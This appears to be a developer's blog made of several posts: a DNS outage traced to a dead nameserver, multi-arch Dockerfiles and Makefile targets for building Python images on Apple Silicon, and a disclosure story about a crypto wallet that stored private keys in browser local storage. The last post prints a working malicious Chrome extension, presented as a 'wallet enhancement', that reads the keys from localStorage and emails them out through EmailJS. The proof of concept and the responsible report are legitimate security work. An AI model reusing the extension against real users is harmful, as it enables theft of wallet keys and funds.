In my developer's mind, a Linux machine receives these records at boot time and caches them. This file is then queried to resolve domains. What could possibly go wrong? Well, I ask the infrastructure team about the IP addresses I see in /etc/resolv.conf and get a surprising answer: "The IP addresses are DNS load balancers and the first one in the list is currently down". Hearing this, I begin to understand why the ssh and initial ping delays are happening. The first DNS load balancer is queried, but because it's down, it doesn't respond, and the resolution continues with the second IP address.

I remove the first nameserver from /etc/resolv.conf and drop the DNS cache on each of the VMs. After a few seconds, the 504 error and the gateway timeout disappear. In the morning, we'll discuss the incident with the infrastructure team and senior management. Fun week ahead.

At work, I am involved in the development of a machine learning SDK and cloud services for privacy and data protection. Like almost every company in this space, we rely heavily on Python's scientific ecosystem. Because it's quite mature and depends on native library development that started years ago, getting these packages to work on new architectures can be tedious.

I am one of the few developers on our team who has stuck with MacOS and have a Macbook Pro with M1 chip. There is no easy way for me to bootstrap our development environment in a matter of minutes. I have to use Conda, install specific versions of Python packages, patch some native libraries, and even create a symlink from an OS-specific package to its generic name (I'm talking to you, Tensorflow). People on the x86_64 architecture generally won't have this problem – almost every package we use comes with a pre-built wheel for a chosen OS. Moreover, to install the SDK as a dependency of, say, an HTTP API service, I had to assemble it from sources: pip install -e '.'

A few months ago we didn't even support the Arm64 architecture at a build level. This changed when I introduced a Github Action pipeline to build Python wheels for Linux x86_64, aarch64, and universal. Instead of manually compiling some native libraries on my machine, I moved the work to GitHub and its Linux instances. From that moment on, I could just get the package from a private PyPI registry. The sad truth is that I still use Conda and sometimes patch one or two transitive dependencies for my M1 chip. But other than that, no hard times to date.

Today I needed to distribute a newly created API service with the SDK inside as a Docker image. And I haven't found an easy way to define a Dockerfile that can be built and run on Apple Silicon without Conda:

FROM python:3.9-slim-buster AS base

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

# Install Conda

RUN apt-get update && apt-get -y upgrade
RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget
RUN rm -rf /var/lib/apt/lists/*

ENV PATH="/root/miniconda3/bin:${PATH}"
ARG PATH="/root/miniconda3/bin:${PATH}"

RUN wget \
    https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-aarch64.sh \
    && mkdir /root/.conda \
    && bash Miniconda3-latest-Linux-aarch64.sh -b \
    && rm -f Miniconda3-latest-Linux-aarch64.sh

# Create a Conda environment and install native dependencies

RUN --mount=type=cache,target=/root/.cache \
    conda init bash && . /root/.bashrc && \
    conda update conda && \
    conda create -n de_agent python=3.9 && \
    conda env config vars set -n de_agent LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libgomp.so.1 && \
    conda activate de_agent && \
    conda install gdal llvmdev dm-tree -y && \
    pip install --upgrade pip setuptools wheel && \
    pip install h3

# Copy application files

WORKDIR /app

COPY app/ .
COPY logging.yaml .
COPY main.py .
COPY requirements.txt ./

# Install Python packages

ARG DE_AGENT_PYPI_TOKEN

RUN --mount=type=cache,target=/root/.cache \
    . /root/.bashrc && conda activate de_agent && \
    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ && \
    pip install numpy==1.23.5

# Cleanup

RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget
RUN apt autoremove && apt clean
RUN rm -rf /var/lib/apt/lists/*

# Create a user

RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent
RUN chown -R de_agent:de_agent /app

USER de_agent

# Run the web application

EXPOSE 8000

ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]

As you can see, the manifest is quite verbose. It also adds the Conda binaries and related files to a release image. It is a price that must be paid.

Fortunately, for Linux, we don't need all of this machinery:

FROM python:3.9-slim-buster AS base

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

# Install system packages

RUN apt-get update && apt-get -y upgrade
RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget
RUN rm -rf /var/lib/apt/lists/*

# Copy application files

WORKDIR /app

COPY app/ .
COPY logging.yaml .
COPY main.py .
COPY requirements.txt ./

# Install Python dependencies

ARG DE_AGENT_PYPI_TOKEN

RUN --mount=type=cache,target=/root/.cache \
    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/

# Cleanup

RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget
RUN apt autoremove && apt clean
RUN rm -rf /var/lib/apt/lists/*

# Create a user

RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent
RUN chown -R de_agent:de_agent /app

USER de_agent

# Run the web application

EXPOSE 8000

ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]

The question now is how to build Docker images for both architectures on a Mac. This is where Docker comes in. Docker Desktop officially supports building multi-arch images for Arm and x86. Learning this, I was able to add a few targets to my Makefile to quickly build images:

build: # Build a Docker image for x86_64
 docker buildx build --platform linux/amd64 -t de-agent:amd64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.amd64 --no-cache .

build-arm: # Build a Docker image for arm64
 docker  buildx build --platform linux/arm64 -t de-agent:arm64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.arm64 --no-cache .

make build

One can say, it's so much hassle for doing all of this locally and a proper CI can solve such a case easily. I agree – as I've mentioned, I like shifting work out of my shoulders and giving it to some machine in the cloud. But in situations where CI is not available, creating multi-arch images can save the day. It certainly did for me.

In January 2022, I joined the community of one of the proof-of-stake blockchains. To play with what the protocol and its ecosystem offered, I created a wallet account on the official website https://wallet.****.org. Apart from general curiosity, I was interested in how they achieved security in a browser, especially in the age of extensions and client-side vulnerabilities.

It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorization in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage¹.

To prove this, I decided to write a simple extension for Chrome that would retrieve keys from a victim's browser and send them to my anonymous email address.

The root directory of my pickpocket extension looked like this:

.
├── content.js
├── email.min.js
├── index.html
└── manifest.json

The main files are the manifest.json and content.js. The former is essential for installing the extension.

{
  "name": "X Wallet Enhancement",
  "version": "1.0",
  "manifest_version": 3,
  "content_scripts": [
    {
      "matches": [
        "https://wallet.****.org/*"
      ],
      "js": [
        "email.min.js",
        "content.js"
      ]
    }
  ]
}

email.min.js is just a client library from one of the cloud services that allows you to send email directly from a browser without any server code. index.html is a blank HTML page that displays nothing. The wallet hijacking logic lived in the content.js file:

emailjs.init('user_****'); // instantiating an email delivery service

let templateParams = {
    // gathering information about the victim's browser
    from_name: navigator.userAgent,
    // fetching wallet keys from the local storage
    storage: window.localStorage.getItem('_*:wallet:active_account_id_**'),
};

// using a prepared email template to send an email with keys
const serviceID = 'service_****';
const templateID = 'template_****';

emailjs.send(serviceID, templateID, templateParams)
 .then(() => {
    console.log("Wallet keys were send!");
 }, (err) => {
    console.error(JSON.stringify(err));
 });

Yes, such a dummy script.

I packed all four files into a zip archive and kindly asked my friend, who also had a wallet at https://wallet.***.org, to install my creation in his browser (pretending to do some social engineering). Before doing so, I told him about my findings and the theory I was trying to prove. He was happy to help, and the public and private keys of this wallet account appeared in my inbox a few seconds after the browser extension was installed. Next, I saved the keys to local storage in my browser and opened the wallet website.

Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't.

As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on January 18. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.